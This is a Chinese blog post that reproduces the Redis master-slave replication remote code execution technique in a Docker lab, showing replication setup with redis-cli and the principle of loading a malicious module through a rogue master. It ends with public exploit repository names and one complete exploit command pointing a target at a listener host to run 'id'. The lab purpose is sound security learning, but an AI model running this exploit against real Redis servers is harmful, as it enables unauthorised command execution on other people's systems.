mntn's blog

Redis基于主从复现的RCE利用漏洞复现

字数统计: 595阅读时长: 2 min
2019/08/02 Share

Redis 基于主从复制的 RCE利用

环境准备

docker redis 4.0(5.0.5以下即可)

漏洞原理

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

利用主从特性传输数据,通过模块加载,增加执行命令的函数。

  • 主从特性 —— slave
  • 传输数据 —— config set dbfilename value
  • 模块加载 —— module load

主从复制配置

利用docker开启2台redis容器用于复现主从复制。

1
2
3
4
5
6
7
8
9
// 下载镜像
# docker pull redis
// 开启容器
# docker run -d --name redis-5 redis
// 进入redis容器,查看ip
# docker exec -it redis-5 /bin/bash
/data# cat /etc/hosts
// 再开一个redis容器,一样的进入容器查看ip
# docker run -d --name redis-5-master redis

现在得到redis主服务器IP172.18.0.4,redis从服务器IP172.18.0.3

测试主从复制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# redis-cli -h 172.18.0.3 -p 6379
172.18.0.3:6379> SLAVEOF 172.18.0.4 6379
OK
172.18.0.3:6379> get mntn
(nil)
172.18.0.3:6379> exit
# redis-cli -h 172.18.0.4 -p 6379
172.18.0.4:6379> get mntn
(nil)
172.18.0.4:6379> set mntn "master"
OK
172.18.0.4:6379> get mntn
"master"
172.18.0.4:6379> exit
# redis-cli -h 172.18.0.4 -p 6379
172.18.0.4:6379> exit
# redis-cli -h 172.18.0.3 -p 6379
172.18.0.3:6379> get mntn
"master"
172.18.0.3:6379> exit

通过查看redis服务器的角色,可以看到当前redis服务器是主服务器还是从服务器,以及与主服务器之间的连接关系。

1
2
3
4
5
6
7
root@iZuf6cvz0cogu345fu1xukZ:~# redis-cli -h 172.18.0.2
172.18.0.2:6379> role
1) "slave"
2) "172.18.0.1"
3) (integer) 6363
4) "connecting"
5) (integer) -1

可以看到这台02这台服务器是刚才我们设置的从服务器,slave正好符合,connecting: -1是表明和主服务器之间的连接未成功(因为我用exp脚本打了一下,结果失败卡住了,所以是-1,正常的话应该是connected)。

参数更多信息请见:https://cloud.tencent.com/developer/section/1374120

EXP

网上有很多的exp了,然鹅我一个都没成功,每次都连不到我本地,可能是环境问题。。。

n0b0dyCN/RedisModules-ExecuteCommand

vulhub/redis-rogue-getshell

Ridter/redis-rce


狗头分割线


在解封的vps上终于复现成功,之前复现失败果然是环境问题,新的服务器上使用redis:4.0 复现成功:

python3 redis-master.py -r 172.17.0.2 -p 6379 -L 172.17.0.1 -P 8888 -f RedisModulesSDK/exp/exp.so -c "id"

CATALOG
  1. 1. Redis 基于主从复制的 RCE利用
    1. 1.1. 环境准备
    2. 1.2. 漏洞原理
      1. 1.2.1. 主从复制配置
    3. 1.3. EXP